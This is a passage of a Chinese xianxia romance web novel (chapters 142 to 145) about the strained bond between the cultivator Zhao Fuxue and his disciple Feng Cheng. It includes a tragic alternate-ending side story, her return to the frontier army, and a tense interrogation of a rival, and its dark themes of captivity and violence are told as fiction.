男子的脸也是十分愕然,显然是没想到好端端一个人说吐血昏迷就吐血昏迷了,赵负雪头脑昏昏沉沉,所见所闻皆像隔着一层透明的水 幕一样分外不清晰,种种惘然之中,他只听见了封澄叫那人的名字。 “……滚。”他只想那人离开。 封澄扶着他,脸色陡地惨白,手却牢牢不肯放开,咬牙道:“等医修来了,我能滚多远就滚多远,保管一点儿都不让师尊看见,只是现在,哪怕师尊十分恶心也先忍一忍。” 沈怀玉也知眼前这情形是耽搁不得了,立即出了院门叫醒了姜充安置在此的护院修士,那修士闻言,不敢大意,立即御剑往姜府赶去,沈怀玉喘着气回来道:“我没灵力,怕误了时辰,另派护院去了,将军,先把人放在屋里安置。” 只觉得心头酸痛,眼泪忍不住地就要往下掉,封澄强压住喉咙冷静道:“再寻人去天机院,把年院长请来。” 她不敢见赵负雪了,可赵负雪当世大修,被她气得口吐鲜血,身体何恙,是绝对不能耽误的。 第142章 第142章番外be预警假如…… 没喝合卺酒的结局,双死预警,be预警 新年过后,封澄与赵负雪皆开始了忙碌,数不尽的积压琐事忙得封澄两眼一抹黑,赵负雪亦是如此,于是二人忙上加忙,竟然一连七八天都没见上面。 是夜,封澄就近宿在了天机卫值班房,夜色沉沉,屋中只有几个苦大仇深的加班人嚓嚓的批阅声,桌上烛火一抖一抖,转眼已过了三更,几人也打起了哈欠,封澄道:“既然困了,就先去歇吧。” 几人如蒙大赦地站起身来,一人道:“封将军不回去么?下一班的人也该来了。” 封澄打了个哈欠,摇摇头,继续伏案下去:“估计家里也没人呢,回去做什么。快去吧,再不走都留下陪我加班。” 屋中点着醒神香,更漏一声一声。 不知过了多久,封澄眼皮越来越沉,慢慢地,脸搭在书案上,竟这么睡着了。 再睁眼时,眼中却不是天机卫熟悉的值班房,而是一间温暖的、宽大的、却密不透风的屋子。 “哈?”她一骨碌坐了起来,两眼瞪得比铜铃还大,“什么时辰了?” 可却没有任何人回应她,封澄只当是什么人见她睡了,给她挪到屋子里安置,方要从榻上下来,便觉浑身上下酸软得非比寻常,她把衣服向上一拉,登时变了脸色。 ……没几块能看的皮了。 不光如此,连不可言说的隐秘之处也隐隐酸麻。 她总算觉得这地方不对了。 是鬼,还是魔?如此幻象,是要伸冤,还是要行凶?能成幻境的魔物绝非寻常东西,封澄大脑飞速运转,沉吟片刻,久违地咬开了指尖。 天机卫的加班怨气着实深重。 兴许是幻象的缘故,她的灵力少得可怜,但一把匕首也够应付大多数魔物了。 门口忽然一动,吱呀一声,封澄精神一振,抬起头看见来者,却有些愣住了:“你?” 来者竟是赵负雪。 为什么幻象里会有赵负雪?他也被扯进这桩案子里了么? 他憔悴许多,如平素那般穿一身雪白的大氅,皮肤苍白得几乎没有血色,连平素颜色最鲜明的眼睛也有些暗色,在听见封澄出声后,他目光定定地落在了她的脸上,慢慢道:“……是我。” 封澄顿了顿:“你站在那里做什么?” 陡然下巴一轻,赵负雪轻轻地抬起了她的脸,随即俯身,毫不犹豫地吻了下去,封澄几乎被他突然这一下闹得窒息,呼吸困难地锤他:“松,松手……喘口气。” 锤了几下,封澄的手却不动了。 赵负雪在发抖。 他抖得十分剧烈,冻僵的人般,连落在她肩上的潮湿都是冰冷的。 为什么? 封澄垂了垂眼睛,这才看见她扣在脚踝上的东西。 刹那间,封澄便搞清了灵力微弱的原因——始作俑者在这里。 赵负雪半合着眼睛,加深了这个吻。 自封澄砸了合卺酒扬长而去后,他便如同从前的预想般,把人关进了赵府之中。 封澄很信任他,于是这信任崩塌之时也格外地惨烈。 自他做出这种事,封澄便再也没说过一句话了。 交缠之时,最坦诚、最空白的时刻,她仰着头,喉咙不由自主地溢出几线欢愉之声,随即趴在他的肩上喘息,温热和冰冷的皮肉亲密无间地贴。 好像一对有裂痕的璧人,身体贴近了,心也会近一些。 可温情不过片刻,他便会被毫不犹豫地推开,或是被撕下一块皮肉来。 封澄该恨他。 本该是情人之间最亲密的事情,二人每每做过,却都是狼狈收场,两人心如死灰,一人伤痕累累。 “……你今天,”他声音哑得不可思议,“很暖和。” 封澄睁大了眼睛,半晌,圆圆的眼睛又难以置信地眯了起来,她喃喃心道:“我之前不暖和吗?” 赵负雪捧起她的手,冰凉的唇贴上去吻了吻,又道:“怎么这么乖。” 他许久未见过这样的封澄了,她初初被囚于此地时暴怒无比,几乎要掀翻了屋顶,后面逐渐地不再挣扎,可看向他的目光却一日赛过一日地冰冷。 这双眼睛中的情意一点一点地消弭,赵负雪清楚地感知到了这份流逝。 很快,她最后一点顾念的旧情也将消失殆尽。 他很乐于见到那时自己的结局。 可此时的封澄却不一样了,她的眼中好像住了两颗温暖的灿阳,目光中的专注与不自觉的笑意是完全作不得假的,满满的,几乎要满溢出来。 很爱。 封澄乖乖地仰着脸,由着他亲,一吻毕,她追过去啄了一下,才松开赵负雪的后颈,赵负雪的吻向下而去,目光灼灼:“可以吗?” 不可以,身体还是很酸的,封澄果断地摇了摇头:“太累了,等出了幻境再说吧……你怎么在这里?也被同事加班的怨气卷进来了吗?” 闻言,赵负雪似是微微一怔。 “是,”他不知道想到了什么,目光暗了暗。片刻,很好说话地松开了封澄,“……何时休沐?” 封澄叹了口气,仰面摔进绵软的榻上,随后拍了拍身边,示意赵负雪也躺下:“估计要等上元后——原本想着大战之后,凡事只管甩手,现在却是半点不清闲,连躲懒都没处去。” 赵负雪不动声色道:“的确辛苦。” 兴许是有赵负雪这个自走安神香在身边,封澄又有些困了,她打了个呵欠,转头钻进了他怀中,笑道:“既知道我辛苦,关起门来便不要穿这么多了,该瞧的早瞧过了,赵公子还在这儿防君子呐。” 闻言,赵负雪有些失笑,他的手有些僵硬地探过去,小心翼翼地落在了封澄的后背。 封澄一动不动,好似他本来就应该这样似的。 他本该这样幸福的吗? “持劫那边,”她困得双眼皮打架,“尸骨已经送来……师兄弟一场,你要不要去祭拜一下。” 持劫死了。 赵负雪垂着眼睛,忽觉连日间堵在心口的巨石也轻飘飘地落下了。 “好,”他道,“我会去的。” “庄儿被老头喊家长了……这个也是你去,总之你也熟了,老头不敢训你。” 她当年被喊家长,叫的也是赵负雪。 而赵负雪却不由自主地想——庄儿是谁? 几乎刹那间,他的瞳孔猛地一缩。 更多的却是不敢置信。 ……他们的孩子吗? 不,应当不是,或许是收留的孤童,或许是封澄的徒儿。 他听见自己的声音干涩:“好。” 封澄又埋在他胸口,嘀嘀咕咕地说着什么乱七八糟的话,毛茸茸的发顶压在他胸口上,只闷得他快要窒息。 他本可以这样幸福的,赵负雪有些茫然地想。 “你今天有点奇怪,”她困倦道,“说一些怪话……又把事情憋着不说吗……” 封澄的确是累了,连在幻境中都困得迅疾无比,话说一半便睡死了过去,他轻轻拥着封澄,感受着她的呼吸逐渐地变得平稳而和缓。 好像拥着一场美梦一样,叫他临死之际分明地知晓,在同一时刻,有另一个赵负雪圆满至此。 睁眼,直至天亮。 熹微透光床帐的刹那,封澄动了。 赵负雪分明地感觉到了几乎凝出实质的杀意,却岿然不动,只若有所失地看着封澄一醒来便挣脱开的距离,她目光冷冷地看着他:“滚。” 他却微微笑了。 “阿澄,”他道,“见素和长生,都带来了。” 封澄脸色变了变,冷道:“嫌脏,不用。” 他闻言,勾唇笑笑,却分外地笃定:“你会带走它们的。” 此言一出,封澄好像听到了什么天大的笑话一般,她哈地冷笑:“再说最后一次,解开穷道锁,放我离开。” 这的确是最后一次了。 赵负雪微微合上了眼睛。 “答复一如从前…… 我绝不放你离开。” 闻言,封澄脸色微寒,她闭了闭眼睛,终于像是下定了某种决心。 刹那间,她的手上凭空多了一把匕首——穷道锁没能困住她的灵力。 灵器之主死去的瞬间,灵流溃散,锁在她脚踝上的穷道锁迸裂成三环,汹涌澎湃的灵力重新回到了封澄干涸的灵脉之中,而她垂眸看向榻上,目光无悲无喜。 “我会去陪你的,”她俯身过去,轻轻地托起了赵负雪的身体,终于再一次地,将脸埋在了他的胸口上。 他一丝挣扎也没有,沉静如同睡眠。 赵负雪很久没有这样平静的睡过去了。 “很快。”她喃喃道。 两把剑被她佩在了腰间,她抱着已经没有生息的赵负雪,从容地走出了新房的大门。 风沙沙而起,血色的衣袍与雪色大氅缠在一处,似是再也无从分开。 *** 一梦惊醒,封澄茫然地抬起头,一片雪白的衣角惊起了她的视线,抬眼一看,只见赵负雪单手托腮,坐在书案对面,眼底含着笑意,不知看了多久了。 她吓了一跳,起来道:“你什么时候来的?” 赵负雪微笑道:“刚来,见你睡着,不打扰。” 封澄默了默,刚要提及梦中之事,赵负雪便冲她露了个颠倒众生般的笑:“醒了,回家吧。” 封澄当即色迷心窍,什么都抛到了脑后,魂飞魄散地跳上了赵负雪的后背,他笑笑,道:“走了。” 再向前去,正是熹微。 第143章 第143章败退 吐血昏迷后,赵负雪仿佛一只被扎得千疮百孔的口袋般,灵气锐利又分明地从他经脉中扎出来,又狠又疯狂地席卷了整座宅院,身无灵力的沈怀玉当即一声不吭地软倒在了地上,以至于冲进来的家丁护卫手忙脚乱,不知是该迎着彻骨的寒流冲到赵负雪身前去,还是该速速把无关此事的人拖出此地。 而这些封澄都一无所知。 赵负雪的灵力首当其冲地便刺向了她,若非她灵力与赵负雪相克,早已不知被刺穿了千百回。赵年一进院中,当即脸色一沉:“医修呢?” 侍从小声道:“尊者灵力暴行,医修不敢上前。” 暴行?为什么方才出关,本该是灵力最稳定的时候,突然便灵力暴走了? 赵年一见封澄,心中便有了七八成笃定,当即脸色便更加难看,她深吸一口气,强压着怒火起阵:“医修随我前去。” 她本是当世首屈一指的阵修,于封锁灵力一举,世上少有人能望其项背,当即众人便从这窒息的灵流中的解脱了出来,医修急匆匆上前去,将封澄向外格去:“封姑娘,还请离远些。” 封澄茫然地站了起来,忽然,耳边传来一道冷声。 “尊者醒后,再行唤你。” 她心中之怒不知是因何而起——在封澄身上出事,于赵负雪而言,已经不是一次两次。 赵家之主,天机之首,世上多少人的生死在他的一念之中,而赵负雪却一而再、再而三地因私情而脱轨贸行,视己为何物?视人为何物? 视天机大道又为何物!? 又视周寻芳穷尽一生的心血为何物?! 赵年头也不回道:“回府!” *** 封澄心急如焚地在赵府门前等了两日,第二日后,终于等到了赵年送来的消息。 “尊者醒了。” 她狠狠的松了一口气,又忍不住开口问使者:“我能进去看看他吗?” 见使者面露犹疑之策,她又补充道:“不必为我通传,我遥遥地看他一眼。” 闻言,使者叹了一口气:“并非是小的不去上报,而是年院长已下了死令,姑娘不得去见尊者了。” 她僵在了原地。 使者小心翼翼地补充:“……也是尊者的意思。” 封澄已经感觉不到自己的心跳了。 她听见一道格外干涩陌生的声音。 “他不愿见我了么?” 使者歉疚道:“兴许是病榻缠绵,不便出面,尊者从前也不见人的。” 从前。 她从前见他,连通传都不用,于是便忘了,以赵负雪此人秉性,若不想见人,是决计见不到的。 封澄垂下了眼睛。 “我知道了,”她道,“代我问安。” 她好像凭空吞了一口方方出土的岩浆,入喉滚烫,炙烧得一句话也说不出,可沉沉地烫到心底时,只觉一路渐沉,已如顽石。 赵负雪不愿见她了。 摇摇晃晃地,她不知道能去哪里,就连险些被马车撞到也恍惚,惊魂未定的车夫在身后骂骂咧咧,车帘一挑,露出了一张覆着半面的脸。 车夫讨好道:“迟太师,有个不长眼的疯狗冲撞了您的车驾,还是照着旧日那样,把她抓来——” 话音未落,车夫的喉咙忽然涌出一股血。 车内美人覆着半张面,饶有兴致地挑起了一根手指。 他微微一笑,那车夫的双眼便陡然一空,一旁的暗卫皆不约而同地低下了头——他已经只剩躯壳了。 迟太师脸庞红润了些许,很满意道:“去菱花巷,把那小东西处理干净。” 难为他捏了这样一张脸出来。 沈怀玉这张微贱得不可思议的牌,炸了个满堂喝彩。 “师兄啊,”他微笑着看着赵府牌匾,“只是个开始,便败退至此了吗?” ** 军令如山,三日休憩已过,集结之时,却少一个封澄遍寻不到,姜逢一个胖大汉子急得快要哭出来,见路过的姜徵,便如同见了救星一般,一把抓住人道:“少主,您见着小封了吗?” 姜徵微微意外:“你是她上司,你不知道?” 姜逢唉声叹气:“宫宴结束就没见着人呐!连咱们的私宴都没出席,我实在无法了……再不归队,便是逃兵了。” 他心头对这毛丫头的不屑早已下去许多,终于不甘不愿地承认,无论是带兵打仗还是脾气性子,封澄都极对他胃口,刨去那盆牛粪不谈,着实是个可造之才,不可能如同那群少爷兵似的,说逃就逃了。 姜徵沉吟片刻,安抚道:“你稍后片刻,我去寻人。” 姜逢焦急无比地点了点头。 一进鸣霄室,姜徵便闻见了一股浓郁的酒气,当即狠狠的皱了皱眉,院中一少年闻声,忙抬起头来,不知为何有些慌张:“姜少主!您快来,她喝太多了。” 姜徵一见何守悟,便觉得有什么微妙之处的不对,眼前也无计细想,她忙上去两步,果然见到了在花树下醉成一滩烂泥的封澄,她见状,气得牙一咬,当即俯身过去,把桌上残茶泼了她一脸:“今日集结,你却在此处喝了个烂醉!” 几个人凑到一处时,也不是没有过饮酒的时候,可三人之中,封澄是最不爱这口东西的,无论贵贱到她口中也只能得到马尿的统一评价。封澄被这一泼,泼得醒了些,醉眼迷蒙地见到姜徵,咧嘴一笑;“你也来啦?你/娘叫你来的?” 什么你/娘,姜徵太阳穴突突直跳,一把将人薅了起来,不容挣扎地架在了肩上,咬牙:“你给我等着请客。” 说着,她把人一路拖行,径自拖出了鸣霄室,徒留何守悟在原地张了张嘴,半晌,盯着二人背影,不甘地捏紧了拳。 方才,封澄烂醉如泥,连护体的灵力都时灵时不灵,只要他撕开二人衣物滚到一处,无论封澄酒醒后记不记得,他至少能宣扬出去,叫封澄不得不捏着鼻子认下他。 以他的手段,不信搞不到一个登堂入室的身份。 就差一点。 他阴狠地看向了姜徵。 天之骄子、目中无人的少家主,当真是瞧瞧都觉得恶心。 同那道貌岸然、肖想自己徒弟的赵氏败类一样恶心。 都该死。 姜徵铁青着脸把人架到了车马边,姜逢一见封澄,先是一喜,又是一骇:“这这这,怎么喝成这个样子?这叫路人看着像 什么?” 姜徵扶额:“有车子吗?给她塞进去。” 姜逢支支吾吾道:“小封乃此战功臣,不打头阵,怕是……唉。” 姜徵不耐:“这样子打头阵?更丢脸,塞马车里,等她醒来找事,只管找我。” 闻言,姜逢也只好叹了口气,吩咐人把封澄塞进了马车里,待人数清点过后,众人便要启程了。 忽然有一声从远远处传来,急切又兴奋道:“我也去天机军!” 站在原地的姜徵意外地回过头去,只见一穿着轻甲的女卫跳下快马,摘下头盔,言笑晏晏。 “京卫五年考核满了,”她冲向了姜逢,“我可以进的吧?” 姜逢一愣,似是摸不着头脑从哪里杀出这样一个丫头来:“可以是可以,只是京卫前途,绝不是边卫能比,且凶险……姑娘可要想好了。” 秦楚笑了笑:“早想好了。” 姜逢看了一眼她的马,想了想,编了个位置给她:“你与那新兵一道在铁骑营罢,正好年轻人一起。” 秦楚走过去,看见了姜逢所指的那个新兵,一时有些讶异——他长了一双很好看的眼睛,身上没有半分沙尘战火,反倒像个混不吝的年轻公子。 他骑着一匹乌黑的马,长发束成了高高的马尾,见人三分笑,说不出的少年俊气。 “寸金,”他笑道,“幸会。” 这段小插曲没有扰乱众人的前行,回京的天机军并不多,不过片刻,姜徵连天机军的尾巴也看不见了。 她看着军队远去,提到喉咙的心才缓缓地放下去,旋即,新的疑惑却又缓缓地浮了上来。 好端端的,封澄为什么会喝成那副模样? 还有,何守悟为什么在鸣霄室里? 她正皱眉思索,腰间姜家腰牌忽然一亮,她回过神来,挥手扬开法阵,阵中赫然跳出了母亲庄重又忧虑的脸。 “尊者重伤,”她道,“徵儿,备一份礼,去赵府拜访。” 陡然地,姜徵背后一凉。 一片浑茫之中,有一条线缓缓地将她脑中之事缓缓地穿了起来。 封澄的反常与赵负雪的重伤有什么关系? 赵负雪修行到了如此地步,阵符法器、魔气灵气,几乎都伤不到他了。 有没有能伤他的? 有。 冥冥之中,她陡然察觉,似乎有一只手,推动了整件事。 这个想法一冒出来,她的背后便止不住地发寒。 她不由得回首望去,只见天机军将去之处,明明是晴天,却说不出的阴晦。 仿佛是沙尘骤起,遮蔽了日头一般。 几乎像一场将暮的天色。 *** 第144章 第144章正宫娘子 将行几步,黄沙扑天,封澄在车上头痛欲裂地坐了起来,一抬眼,便见外面青黄不接的沙地,她一惊,身旁年轻士兵便喜道:“封将军,你醒了?” 封澄警惕道:“这是在哪?” 不待士兵开口,帘外便有人悠悠笑道:“师妹一觉好睡,连到了长煌这片地界也不知晓——饿了么?” 饿倒是不饿,饮酒伤脾胃,封澄还隐隐觉得有些想吐,她单膝盘坐着,茫然地空了空,突然间,便从心底涌上了一片灰蒙蒙的钝痛来。 思及此处,封澄把头往后一仰,手臂遮着透来的斑驳日光,懒懒道:“不饿,一想到回营地要挨的军棍,立即就饱了。” 醉酒误事,还差点误了归期,想想看真是疯了,姜逢绝对不会轻易放过她。 寸金似乎又笑了笑,随着一阵窸窣,帘子外伸进来了一只绑着护臂的手。 封澄下意识地伸过手去,一接,只见掌心赫然躺着几颗绵软的糖。 “阿徵叫你别担心,”他道,“尊者那边消息有她送来,待伤势好些,定送信给你。” 封澄一听心中稍缓了些,紧接着又是倾倒了一盆油盐酱醋,又酸又咸,粘腻得一塌糊涂。 杯弓蛇影下,她又挂心赵负雪伤势,又忐忑此情难抑,几番哽塞,最终只拧出一句话来:“知道了。” 寸金只当她疲惫,略说了几句,便策马前去了。徒留封澄在车中怔怔,好半晌,耳旁忽有人小心翼翼道:“将军有心事?” 封澄吓了一跳,这才后知后觉地发现原来车中还有一人,那人是个憨态可掬的青年,圆圆脸,黑面皮,一双眼睛也是圆圆的,他有些尴尬道:“哈哈,大家平素很难注意到我。” 存在感的确薄弱。 顿了顿,那青年又垂了垂眼睛,道:“大家都有心事呢。” 封澄奇道:“什么?” 他看了看封澄手上的糖,摇摇头不语,片刻,露出个呲着牙的笑来:“将军,拉舍尔部就在前面,这几日有大祭,热闹非凡,要不要去聚一聚。” 封澄沉默片刻,道:“我从前听说,长煌边卫有八成是长煌之民,这八成。民里,又有八成是拉舍尔部的孩子。” 青年腼腆一笑:“将军也是长煌的孩子呢。” 封澄有些讶异,强笑两声:“说来惭愧,我并不知生身之地。” 阿翁和阿嬷捡到她时,她已经是个能抓野兔的孩子了,是当地牧民所生?是外来流民所生? 无人知晓。 青年却认真地摇了摇头。 “长生天的孩子,”他道,“无论生在何处,都会顺着命运,重新回到长煌这片土地。” 不知为何,封澄闻言,心头微微一动,仿佛被拨了一下似的,她笑了笑,向马车的窗外看去。 草原的苍天云影与洛京的大不相同,碧澄澄一片,连绵而清澈,辽阔得看不到尽头,马蹄落在湿漉漉的草地上,溅起一片一片的草皮。 “大伙儿都很想谢谢你,”他叹息道,“如若不是将军率铁骑军拼死杀进来,在几日前,我们都该埋骨于此了。” 封澄有些怔怔的。 “是吗。”她喃喃道,不知说给谁听。 以身犯险,并不是出于什么家国大义,封澄自知俗得很,只想多赚点军功,好回去迎娶够不着的美人。 现如今,娶美人这场大梦破灭得一 干二净,她看向这青年澄澈见底的眼睛,却觉得心中一处空落落的地,似乎被温善妥帖地填补上了。 没那么漏风了,她想,也没那么疼了。 *** 归营三日,封澄惊诧无比地发现,姜逢不找她事了。 她见了鬼似的站在了姜逢主帐前,看着上面将将风干的牛粪,纠结得把帐前草地硬生生磨去了半寸。 “什么事?”帐帘突然掀开,露出了中年男子不苟言笑的脸。 封澄吓了一跳,下意识地就把假条往身后藏,这动作自然瞒不过人高马大的姜逢,他虎着脸,粗声大气道:“什么事?” 封澄心知要完,这老犟种才缓了三日没找事,她便鬼迷心窍要假——而且也不是什么探亲的正当缘由,乃是实打实地跑去拉舍尔部凑热闹! 鬼才肯批! 思及此处,她干笑两声:“那个,我等人,哎——方才还在这儿,人呢?” 姜逢虎着脸看着她。 封澄见他这副表情,脚底当即就要打滑,还没窜出去两部,后颈忽然被拎了一下:“回来。” 中年男子板着不苟言笑的脸:“去吧,拉舍尔部今夜祭奠,众官兵也一同前去。” 是夜,拉舍尔部果然热闹非凡,封澄看见不少熟悉的脸,坐下没喝两口酒,便被大笑着的年轻女子拉去了篝火旁,几番下来,封澄也渐渐放开。 饮酒误事,她不再饮酒。跳累了,她也回去休憩,正眯眼看着众人热闹,忽然有一老人走来,轻轻地敲了敲她,封澄还未回过神,颈上便被不由分说地套上了一根吊坠。 缀着的形状,似乎是一枚狼牙。 “……” 不知为何,在此刹那,连热闹的拉舍尔部祭典也忽然地安静了下来。 火光晃着封澄微微愕然的脸,老者看向她,开口,说了一串她听不懂的话,随即笃定地转过身,头也不回地走了。 愣了半晌,人群照旧歌舞,只是时不时有视线隐蔽地投向了封澄,正当她看着胸口吊坠奇怪时,身边突然有人开口说了话。 封澄:“!” 他什么时候来的? 青年道:“老天巫很感激将军,”他道,“那段话的意思是,拉舍尔部会是你永远的家。” 还有一重话,他没有开口。 那狼牙吊坠,亦是信赖托付之举,意在告知拉舍尔部之民,封澄为他所跟随之人。 天巫系一部生息,而他所信赖跟随之人,几乎是此地无冕之王。 青年留心看着封澄,少女脸上绘了油彩,年轻而稚气未脱的脸在火光的摇曳中,露出了几分明明暗暗的神诡。 为什么是她呢? 只因为一战之中,不肯后退,挽了一场必败的颓势? 他垂下了眼睛,微微摇了摇头。 *** 与此同时,洛京赵府之中,众人屏息,连大气都不敢出。 正堂内燃着一两万金的火骨香,冰冷的、沉色的木质地板上趴着一个人影,赵负雪面上还有些大病初愈的苍白,眼底的寒意却是比空气内令人窒息的温度更为骇人。 披着大氅,坐着轮椅的男人凝眸看着地上半死不活的血人,唇角勾起个冷冰冰的弧度。 “你是谁的人。” 沈怀玉艰难地撑动双臂,后背极薄的蝴蝶骨令他像只濒死的蝶——不得不说,作为男宠来言,他的皮相是完全够诚意的。 他抬起头——最令人骇然的,却是他的一张脸。 这张脸从前有着神似赵负雪的瑰色,如今却仿佛从肌底烂出,溃烂不成。人形,连眼鼻的形状都变得扭曲,好像是是什么东西栖居在他的面皮下,突然破土而出啃食了他一样。 沈怀玉呵呵冷笑:“尊者不是亲眼所见么?我是封将军的人。” 此言一出,众人清晰地感觉到,火骨香所带来的轻微暖意荡然无存。 “……” 陡然地,沈怀玉瞳孔猛地一缩,紧接着一阵劲风将他狠狠的掼在了漆黑的木门上! 他好像一片烂肉一样,闷哼一声,便说不出话了。 “我能保下你的命,”男人的声音阴冷无比,“便能取走你的命。” 从额角留下的鲜血被破坏了这张原本就狰狞的脸,鲜血被寒气定住,又粘又冰地糊在了他的眉上。 “尊者救命之恩,小的没齿难忘。”沈怀玉露出副没脸没皮的笑来,“可若是硬要逼我供出不存在的人,那尊者还是将我杀了罢。小的微贱,自荐枕席,连鸨子都没一个——” 话未说完,他猛地偏过头去,片刻,从口中吐出了两颗带血的牙。 赵负雪垂着眼睛,连碰都未碰到他些许。 “一介凡人,”他冷冷道,“身无灵力,朝生暮死,也配肖想她。” 他身上的冷香气慢慢靠近。 “只有一点,我着实好奇,”他慢慢道,“是谁要你如此矫饰自己的脸。” 沈怀玉心头猛地一跳。 一旁的赵年道:“银线虫植根与皮肉之下,牵引吞吃皮肉,以扮作他人之相,一旦反噬,尸骨无存。你一介走街串巷的艺人,是从何处取来此等凶险的天魔之物的?” 沈怀玉脸上皮肉已全数绽开,不难看出,皮肉中有无数虫物穿过之痕。 从封澄府中离去后,他自行逃走,赵负雪醒来后,令人追拿于他,谁料一去,便见他躺在血泊之中,脸皮被啃食得血肉模糊,已然气息微微,不省人事。 银线虫是有主人的。 沈怀玉也曾揽镜自照过,见了赵负雪这张脸,还有什么不明白的? 他微笑道:“怎么,管天管地,还管人脸皮?” 谁料此话一出,赵负雪冷笑不已。 “你引诱我徒走上歧途,就此罪名,我杀你千万次都无可指摘。银线虫,不过是皮毛之伤,你可懂得。” 沈怀玉微微笑道:“小的是以色事人的,将军喜欢,就是谁都越不过去的理,倒是尊者在这里威逼利诱,难道只是为了替徒儿清理门户?您作为师尊,管得着实太宽了罢?” 他顿了顿,又笑了:“哎呀,天底下岂有插手徒儿后宅事的师尊,不知道的,还当是什么发了大醋、心狠手黑的正宫娘子。” 第145章 第145章救我 此言一出,原本就一片死寂的堂中顿时更加死寂,沉默得几乎落针可闻。 众人心惊胆战地把头埋了下去,竭力将存在感降至最低,以防赵负雪或赵年动手,把在场的所有人统统灭口。 良久,赵年抢道: “满口胡言,胡乱攀咬!尊者为人正道,唯恐银线虫之物作乱民间,你不老实交代不说,竟敢信口雌黄!看来也不必审你了,来人,带去地牢!” 两人连忙上前,一把抓住了沈怀玉的双肩,正待将人拖出去时,赵负雪突然道:“停手。” 几人心惊胆战地放下了扣在沈怀玉双肩上的手。 赵负雪轮椅停在了他的面前,沈怀玉呛咳两声,费力地抬起头道:“尊者被说中了痛处,终于打算灭口了?” 一人坐,一人跪,一人满身脏污,皮相烂成一团,一人白衣如雪,端然如同谪仙。 赵负雪静静地看着他,沉水似的眼底似乎有隐晦的深色,他居高临下地看着沈怀玉,片刻,忽然笑了笑。 这笑意如同明月似的,晃得人几乎眼前一花,赵负雪俯下身去,唇角的笑意晦暗不明。 “我不杀你。” 沈怀玉一怔。 他好像是窥到了血肉的雪狼一般,笑意几乎是嗜血的。 “我要你带着这张脸,重新回到她的面前。” 沈怀玉一刹那间简直不敢相信自己的耳朵,他猛然冲向赵负雪,却被面无表情的侍从死死地按在了地上,他死死咬牙,震声道:“你这个畜生——!” 被当众怒骂,赵负雪反而半丝不恼,他微笑道:“她喜欢你的脸。” 分明是陈述句,而偏偏沈怀玉眼歪鼻斜,皮肉绽开,脸下的血肉中似乎还有虫蛀的空洞,显然是与美人二字搭不上半分关系,这话一出口,便逼得他生生吐出一口血来。 赵负雪看得分明,一时有些懒怠。 沈怀玉不肯说,定然是有着受制于人的死穴,种种冒犯之言,与其说是怒极,不如说是求死。 赵负雪偏不会随了他的愿。 说到底就是小孩一时贪嘴,年轻不知数,赵负雪缓过当时那阵怒极之后,反倒有些懒懒的,觉得自己和这一个挣扎不出波浪的凡人费神属实不值得——即便封澄实在喜欢,他又能活几年? 把那神气的小将军逼得慌了神,才是不值得。 他想起封澄那番焦急模样,神色稍霁。 于是赵负雪懒懒道:“把他关下去养伤。” 赵负雪这几日也自觉想明白了。 师尊,是管不了她内宅事的。 封澄已经羽翼渐丰,像是刚亮刃的利剑一样,早晚会灼目到不可逼视的程度,到那时天底下的 野男人像杀不尽的野狗一样前仆后继。 处死了一个沈怀玉,还会有一个沈抱玉,沈拥玉。 若能制住她乱招摇的色心,将人好端端地留在他的羽翼之下,关起门来杀了,并非宜行之措。 死,也要死得其所才行。 待封澄再次回到长煌——赵负雪垂着眼睛,极冷的笑意一划而过。 他会让她知晓的,没有任何人能站在她的身边。 在反咒解开之前,他不死不休。 “长煌有信送来没有?”并不在乎身后沈怀玉的咒骂咆哮,他转过身去,侍从忙跟在他身后,恭敬从容道:“这倒没有,姜少主倒是时时来询问尊者身体安泰。” 侍从说出这句话,小心翼翼地抬头,一抬头,便见眼前这个俊极的冷脸美人嘴角翘起了一个轻微的弧度。 这一笑,并非是方才那副令人大气不敢出的皮笑肉不笑,而是真正的,心情很好一般的笑意。 侍从看得呆了,半晌,才反应过来,赵负雪方才说—— “说我缠绵病榻,就差被气死了。” 他万万没想到,有朝一日,还能从赵负雪嘴里听到“就差被气死”这几个字。真令他恼火的,不是被扬了便是被整了,这话说得不像是怒斥,反倒像是埋怨。 他目瞪口呆地看着轮椅走远,一时间,眼角与嘴角同时抽搐。 此时此刻,他心头只有一个想法。 尊者这是在很隐晦地示弱。 虽说闹得很隐晦,但他也是侍奉多年了,多多少少,察言观色的本事还是练了出来。 和谁示弱?他需要和谁示弱?是谁叫他宁愿示弱?是谁吃软不吃硬,犟得非得他示弱? 那个一本正经的小姜少主么? 荒谬。 ——侍从只是想了想,便觉得小命即将不保,连忙止住脑中乱飞的思绪,滚出去回禀了。 *** 在军中半月有余,封澄第一次收到了京中姜徵的信件,她坐在牛油灯前,就着昏暗灯光,琢磨着姜徵一手端正的簪花小楷,横看竖看,看不出个所以然。 她嚼着拉舍尔部给她送来的干牛肉,皱着眉,起身掀帐出去。 长煌的月色比其余地方都要明朗些,对着月色一看,她才琢磨明白姜徵所言,心头不免有些好笑。 姜徵写:“比从前好了太多,已经有心玩笑。” 思及此处,封澄心中安定了许多。 师徒二人朝夕相处的情分,在赵负雪心中比她料想的要重许多,即便如此冒犯忤逆,他盛怒过后,却不再另行他举。 没有逐出师门,没有嫌恶痛斥,没有划清界限,什么也没有。 封澄不知道是该庆幸还是失望,心中苦中作乐:“总之没下次了。” 她小心翼翼地将纸叠起,正要放进胸口,一抬头,却见另一军帐处钻出来了个五大三粗的汉子,二人一对视,皆看到了对面手中的信纸。 月色皎洁,照着两个面面相觑的人。 似乎有狼吼划过,她尴尬笑笑:“油灯昏暗。” 对面汉子也涨得脸红,他身子有封澄三个粗,捏起那张信纸来好似猛男捏着绣花针,他扭捏道:“油灯昏暗。” 一片沉默。 封澄不尴不尬地闲谈几句,便寻了个借口,打算溜回帐中,正待开口,那汉子突然道:“将军也是今夜到的家书?” 天色乌黑时,送信的枭鸟跌跌撞撞地来了一趟,白天训练辛苦,众将士早已歇息,即便是有急不可耐者,也大都在帐众借着油灯看了信。姜徵平素话少得唬人,谁料写信却密密麻麻絮絮叨叨婆婆妈妈还不舍得多放两张信纸,闹得她险些瞎了眼,想来对面的男人也是一样了。 她看着男人的信,道:“你娘子也是字小?” 汉子挠挠头,笑道:“哪能呢,我娘子不识字。” 这话倒是令封澄有些奇怪了,她道:“既不识字,怎么给你寄了一封信来?” 还要他在帐外看。 汉子嗫嚅片刻,脸色涨红,纠结许久,把捏在掌心的信纸给封澄看。 她好奇地歪了歪头——上面不是字,而是一幅画。 画着一条长长的,看起来像是腰带或是护腕的东西。 封澄道:“腰带?” 费劲寄来信,却只画了一幅画? 